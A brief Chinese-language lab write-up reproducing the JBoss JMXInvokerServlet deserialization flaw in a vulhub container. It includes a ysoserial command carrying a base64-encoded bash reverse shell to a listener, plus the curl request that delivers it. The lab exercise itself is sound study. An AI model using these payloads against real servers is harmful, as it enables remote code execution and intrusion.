声明
好好学习,天天向上
漏洞描述
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet
请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
影响范围
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
复现过程
这里使用6.1.0版本
使用vulhub
cd /app/vulhub-master/jboss/JMXInvokerServlet-deserialization
使用docker启动
docker-compose build
docker-compose up -d
环境启动后,访问http://your-ip:8080/
http://192.168.239.129:8080/
访问如下链接有文件下载
http://192.168.239.129:8080/invoker/JMXInvokerServlet
下载工具
https://cdn.vulhub.org/deserialization/DeserializeExploit.jar
用了一下,是乱码,试试yso吧,kali执行下面命令(echo后面那一串,自行用base64解码后修改再编码)
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS4xMzkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i} " >exp.ser
kali监听6666端口后,再次执行
curl http://192.168.239.129:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down